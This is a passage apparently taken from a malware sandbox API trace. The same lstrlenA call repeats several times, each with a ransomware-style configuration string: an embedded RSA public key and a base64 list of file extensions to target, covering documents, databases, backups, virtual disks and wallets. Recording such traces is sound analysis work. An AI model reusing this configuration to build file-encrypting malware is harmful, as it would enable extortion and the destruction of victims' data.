iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4